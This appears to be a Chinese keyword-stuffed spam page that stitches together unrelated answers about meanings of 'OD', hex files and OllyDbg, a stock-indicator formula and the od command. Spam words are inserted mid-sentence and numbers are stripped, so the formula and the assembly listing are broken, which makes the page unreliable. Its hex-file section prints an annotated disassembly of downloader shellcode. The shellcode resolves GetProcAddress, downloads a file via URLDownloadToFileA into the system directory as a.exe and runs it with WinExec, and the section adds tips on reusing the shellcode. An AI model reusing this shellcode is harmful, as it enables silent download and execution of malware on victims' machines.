【传奇类游戏源码下载】【神奇的dde指标源码】【86H的源码】od图源码

时间:2024-12-23 04:48:09 编辑:ChatGPT源码多大 来源:果园游戏源码

1.od是图源啥意思
2.hex是什么文件?
3.市场软件指标精选更新:副图--“顶底伏击”(源码)
4.od是什么
5.od是什么意思?

od图源码

od是啥意思

       OD代表吸光度,即Optical Density的图源缩写,表示光密度。图源当光线穿过样本时,图源部分光线会被吸收,图源因此科学家倾向于用吸光度来描述这一现象。图源传奇类游戏源码下载在光谱学中,图源透光率定义为出射光强度与入射光强度的图源比率。

       OD在组织发展中的图源含义是组织发展,简称OD,图源是图源指在现代科技、市场和环境等快速变化的图源背景下,为了适应新挑战,图源组织需要改变其成员的图源认知、态度、图源价值观以及组织结构。其目标在于维持和更新组织的生命力。组织发展体系包括一系列方法和技术,旨在促进组织变革,提升组织效率和适应性。

       OD交通出行量调查,也称为OD交通量调查,是指对特定时间段内从一个地点到另一个地点的交通出行量进行统计。起始点(O)表示出行的出发地,目的神奇的dde指标源码地(D)表示出行的目的地。OD交通量调查是城市交通规划的重要组成部分,有助于优化交通网络和改善交通拥堵状况。

       OD还可以指一个名为OllyDebug的软件工具,它是反汇编工具,用于动态追踪和调试程序。它结合了IDA Pro和SoftICE的优点,成为当今最流行的调试解密工具之一。OllyDebug支持插件扩展功能,使用户能够根据需要添加更多功能。它不仅适用于调试自己的程序,也适用于破解其他程序,尤其在破解无源码的情况下。

hex是什么文件?

       文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

       1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的86H的源码工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。红猴代派源码以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的炒币跟单源码主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。

市场软件指标精选更新:副图--“顶底伏击”(源码)

       市场软件指标精选更新:副图--“顶底伏击”(源码)

       DIR:=ABS(CLOSE-REF(CLOSE,));

       VIR:=SUM(ABS(CLOSE-REF(CLOSE,1)),);

       ER:=DIR/VIR;

       CS:=SMA(ER*(2/3-2/)+2/,3,1);

       CQ:=CS*CS*CS;

       裁决:=EMA(MA(CLOSE,-CS*),2);

       AS:=;

       AD:=;

       CD:=C/裁决*;

       OD:=OPEN/裁决*;

       OH:=H/裁决*;

       OL:=L/裁决*;

       STICKLINE(CD≥OD,OD,CD,2,0),COLORDD;

       STICKLINE(CD≥OD,OD,CD,1,0),COLORFF;

       STICKLINE(CD≥OL,OL,OH,0,0),COLORFF;

       STICKLINE(CD

       STICKLINE(CD

       STICKLINE(CD

       A1:=OL

       A2:=C>O;

       A3:=CROSS(CD,AS);

       XG:=A1 AND A2 AND A3;

       DRAWICON(XG,OL,);

       M5:=MA(C,5);

       M:=MA(C,);

       M:=MA(C,);

       M:=MA(C,);

       M:=MA(C,);

       MD:=MAX(M5,MAX(M,MAX(M,MAX(M,M))));

       MN:=MIN(M5,MIN(M,MIN(M,MIN(M,M))));

       MJ:=(MD-MN)/C<=0.;

       DIF:=EMA(CLOSE,)*-EMA(CLOSE,)*;

       DEA:=EMA(DIF,9)*;

       XG2:=MJ AND CROSS(DEA,DIF);

       DRAWICON(XG2,AS,);

       注:平台目前更新的有关公式源码,部分提示编码错误的,是为了避免业内叨唠,大家看好有意,可以线下,联系我们这边。在线即回!

       最后感谢平台予以机会,见证成长,喜欢加关注,感谢点赞支持哈!市场若有可期,希望越来越好!

       免责声明:指标来源网络收集和会员提供,仅供学习和研究使用,不得用于商业或者非法用途。文中观点,主观性较强,仅供股友参考。据此操作,风险自负!

od是什么

       OD,软件名称,反汇编工具OD=OllyDebug,一个新的动态追踪工具,把IDA与SoftICE结合起来,Ring3级的调试器,已代替SoftICE成为当今最为流行的调试解密工具了。

       同时还支持插件扩展功能,是最强大的调试工具。基本上,调试自己的程序因为有源码,一般用vc,破解别人的程序用OllyDebug。技能在《第三次生日》中,OD(OverDive)是阿雅获得的新能力。可以使用OD潜入战场上的士兵的潜意识,以及用来对付敌人(当敌人身上出现**三角符号时,即可使用△键发动OD对其实施致命一击,威力相当强命令od 命令用途:以指定格式显示文件。语法使用字符串类型显示文件,来格式化输出。od [ -v ] [ -A Addressbase ] [ -N Count ] [ -j Skip ] [ -t TypeString ... ] [ File ... ]使用标志显示文件,来格式化输出。od [ -a ] [ -b ] [ -c ] [ -C ] [ -d ] [ -D ] [ -e ] [ -f ] [ -F ] [ -h ] [ -H ] [ -i ] [ -I ] [ -l ] [ -L ] [ -o ] [ -O ] [ -p ] [ -P ] [ -s ] [ -v ] [ -x ] [ -X ] [ [ -S [ N ] ] [ -w [ N ] ] [ File ] [ [ + ] Offset [ . | b | B ] [ + ] Label [ . | b | B ] ]描述od 命令用指定格式显示由 File 参数指定的文件。

od是什么意思?

       od有多个含义,具体如下:

       1、OD:吸光度

       OD是Optical Density的缩写,表示光密度.OD是当光经过一个样本时,部分光会被吸收。所以物理学或化学上,人们更喜欢用吸光度(Absorbance)表达现象.在光谱学,透光率是出射光和入射光强度的比。

       2、OD:组织发展

       组织发展(OD)是由于现代世界的科技、市场、环境等快速变迁,组织必须改变组织成员的认知、态度、价值观及组织本身的结构的机构。以适应新挑战,面向整个组织系统。其目的乃在维持与更新组织生命力。简述组织发展体系,阐述其理论和应用及其发展趋势。

       3、OD:交通出行量

       OD调查即交通起止点调查又称OD交通量调查,OD交通量就是指起终点间的交通出行量。“O”来源于英文ORIGIN,指出行的出发地点,“D”来源于英文DESTINATION,指出行的目的地。

       4、OD:软件名称

       OD,是一个反汇编工具,又叫OllyDebug,一个新的动态追踪工具,将IDA与SoftICE结合起来的思想,Ring 3 级的调试器,己代替SoftICE成为当今最为流行的调试解密工具了。

       同时还支持插件扩展功能,是目前最强大的调试工具。基本上,调试自己的程序因为有源码,一般用vc,破解别人的程序用OllyDebug。

       5、OD:电脑命令

       od 命令用途是以指定格式显示文件。常见的文件为文本文件和二进制文件。此命令主要用来查看保存在二进制文件中的值。比如,程序可能输出大量的数据记录,每个数据是一个单精度浮点数。这些数据记录存放在一个文件中,如果想查看下这个数据,这时候od命令就派上用场了。

       OD就是optical density,也遵循朗伯比尔定律。当光通过介质时,除了吸收导致的光的衰减之外,还有散射等其它因素也会导致光的衰减,OD值反映了所有因素的总的效果,而吸光度只反映吸收对光强度的影响。

       用仪器检测的时候,仪器给出的数值可以看作吸光度也可以看作OD,这取决于你的样品。比如你要测DNA这样的大分子,可能要考虑光的散射。    

       吸光度(absorbance):是指光线通过溶液或某一物质前的入射光强度与该光线通过溶液或物质后的透射光强度比值的以为底的对数(即lg(I0/I1)),其中I0为入射光强,I1为透射光强,影响它的因素有溶剂、浓度、温度等等。吸光度是物理学和化学的一个名词。

       吸光系数与入射光的波长以及被光通过的物质有关,只要光的波长被固定下来,同一种物质,吸光系数就不变。当一束光通过一个吸光物质(通常为溶液)时,溶质吸收了光能,光的强度减弱。吸光度就是用来衡量光被吸收程度的一个物理量。

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